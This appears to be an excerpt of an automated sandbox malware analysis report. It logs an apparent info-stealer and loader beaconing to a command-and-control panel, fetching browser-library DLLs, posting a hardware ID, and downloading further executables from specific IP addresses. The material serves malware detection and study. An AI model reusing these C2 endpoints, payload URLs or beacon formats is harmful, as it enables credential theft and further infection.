Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Source: Joe Sandbox View	IP Address: 77.91.77.81 77.91.77.81
Source: Joe Sandbox View	IP Address: 77.91.77.82 77.91.77.82

Source: Joe Sandbox View	ASN Name: GES-ASRU GES-ASRU
Source: Joe Sandbox View	ASN Name: FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU
Source: Joe Sandbox View	ASN Name: FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU

Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.30

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Code function: 19_2_009EBD30 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

19_2_009EBD30

Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/sqlite3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/freebl3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/mozglue.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/msvcp140.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/nss3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/softokn3.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1Host: 85.28.47.30Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/amadka.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIJJEGHDAEBGCAKJKFHHost: 85.28.47.30Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 45 47 48 44 41 45 42 47 43 41 4b 4a 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 45 38 33 38 42 38 31 41 43 33 41 34 30 34 33 37 32 38 33 35 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 45 47 48 44 41 45 42 47 43 41 4b 4a 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4e 69 63 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 45 47 48 44 41 45 42 47 43 41 4b 4a 4b 46 48 2d 2d 0d 0a Data Ascii: ------KFIJJEGHDAEBGCAKJKFHContent-Disposition: form-data; name="hwid"7E838B81AC3A4043728354------KFIJJEGHDAEBGCAKJKFHContent-Disposition: form-data; name="build"Nice------KFIJJEGHDAEBGCAKJKFH--

Source: file.exe, 00000000.00000002.1433619231.0000000000A6A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/cost/go.exe
Source: file.exe, 00000000.00000002.1433619231.00000000009C6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/cost/go.exe00
Source: file.exe, 00000000.00000002.1436568097.0000000001B77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exe
Source: file.exe, 00000000.00000002.1433619231.00000000009C6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exe.phpefoxrefox
Source: file.exe, 00000000.00000002.1433619231.00000000009C6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exe00
Source: file.exe, 00000000.00000002.1433619231.00000000009C6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exeOpera
Source: explorti.exe, 00000013.00000002.3725431157.0000000001489000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/
Source: explorti.exe, 00000013.00000002.3725431157.0000000001460000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000013.00000002.3725431157.0000000001489000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php
Source: explorti.exe, 00000013.00000002.3725431157.0000000001489000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php#ZC
Source: explorti.exe, 00000013.00000002.3725431157.0000000001460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php3
Source: explorti.exe, 00000013.00000002.3725431157.0000000001489000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php4ZL
Source: explorti.exe, 00000013.00000002.3725431157.00000000014B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php8#
Source: explorti.exe, 00000013.00000002.3725431157.0000000001460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php9
Source: explorti.exe, 00000013.00000002.3725431157.0000000001460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpO
Source: explorti.exe, 00000013.00000002.3725431157.00000000014A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpS?w
Source: explorti.exe, 00000013.00000002.3725431157.0000000001489000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpVZ.
Source: explorti.exe, 00000013.00000002.3725431157.0000000001460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php~
Source: file.exe, 00000000.00000002.1436568097.0000000001B0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30
Source: file.exe, 00000000.00000002.1436568097.0000000001B77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/69934896f997d5bb/freebl3.dll
Source: file.exe, 00000000.00000002.1436568097.0000000001B77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/69934896f997d5bb/freebl3.dll;
Source: file.exe, 00000000.00000002.1436568097.0000000001B77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/69934896f997d5bb/mozglue.dll
Source: file.exe, 00000000.00000002.1436568097.0000000001B77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/69934896f997d5bb/mozglue.dllw
Source: file.exe, 00000000.00000002.1436568097.0000000001B26000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1436568097.0000000001B77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/69934896f997d5bb/msvcp140.dll
Source: file.exe, 00000000.00000002.1436568097.0000000001B77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/69934896f997d5bb/nss3.dll
Source: file.exe, 00000000.00000002.1436568097.0000000001B77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/69934896f997d5bb/softokn3.dll
Source: file.exe, 00000000.00000002.1436568097.0000000001B77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/69934896f997d5bb/softokn3.dll7
Source: file.exe, 00000000.00000002.1436568097.0000000001B77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/69934896f997d5bb/sqlite3.dll
Source: file.exe, 00000000.00000002.1436568097.0000000001B26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/69934896f997d5bb/sqlite3.dllc
Source: file.exe, 00000000.00000002.1436568097.0000000001B77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/69934896f997d5bb/vcruntime140.dll
Source: file.exe, 00000000.00000002.1436568097.0000000001B77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/69934896f997d5bb/vcruntime140.dllV
Source: file.exe, 00000000.00000002.1436568097.0000000001B26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30/920475a59bac849d.php
Source: file.exe, 00000000.00000002.1436568097.0000000001B0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.30k
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: file.exe	String found in binary or memory: http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07
Source: file.exe	String found in binary or memory: http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr
Source: file.exe	String found in binary or memory: http://pki-ocsp.symauth.com0
Source: Amcache.hve.15.dr	String found in binary or memory: http://upx.sf.net
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.1456687731.000000001D4FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1471418579.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.1299731237.0000000001BC5000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHD.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.1436568097.0000000001C87000.00000004.00000020.00020000.00000000.sdmp, GHDBKFHIJKJKECAAAECA.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000000.00000002.1436568097.0000000001C87000.00000004.00000020.00020000.00000000.sdmp, GHDBKFHIJKJKECAAAECA.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: file.exe, 00000000.00000003.1299731237.0000000001BC5000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHD.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1299731237.0000000001BC5000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHD.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1299731237.0000000001BC5000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHD.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.1436568097.0000000001C87000.00000004.00000020.00020000.00000000.sdmp, GHDBKFHIJKJKECAAAECA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000002.1436568097.0000000001C87000.00000004.00000020.00020000.00000000.sdmp, GHDBKFHIJKJKECAAAECA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.1299731237.0000000001BC5000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHD.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1299731237.0000000001BC5000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHD.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1299731237.0000000001BC5000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHD.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: GHDBKFHIJKJKECAAAECA.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: JEHDHIEGIIIDHIDHDHJJKJKJJD.0.dr	String found in binary or memory: https://support.mozilla.org
Source: JEHDHIEGIIIDHIDHDHJJKJKJJD.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: JEHDHIEGIIIDHIDHDHJJKJKJJD.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: file.exe, 00000000.00000002.1436568097.0000000001C87000.00000004.00000020.00020000.00000000.sdmp, GHDBKFHIJKJKECAAAECA.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.1299731237.0000000001BC5000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHD.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1299731237.0000000001BC5000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHD.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000002.1436568097.0000000001C87000.00000004.00000020.00020000.00000000.sdmp, GHDBKFHIJKJKECAAAECA.0.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: JEHDHIEGIIIDHIDHDHJJKJKJJD.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.1433619231.00000000009C6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: JEHDHIEGIIIDHIDHDHJJKJKJJD.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000000.00000002.1433619231.00000000009C6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
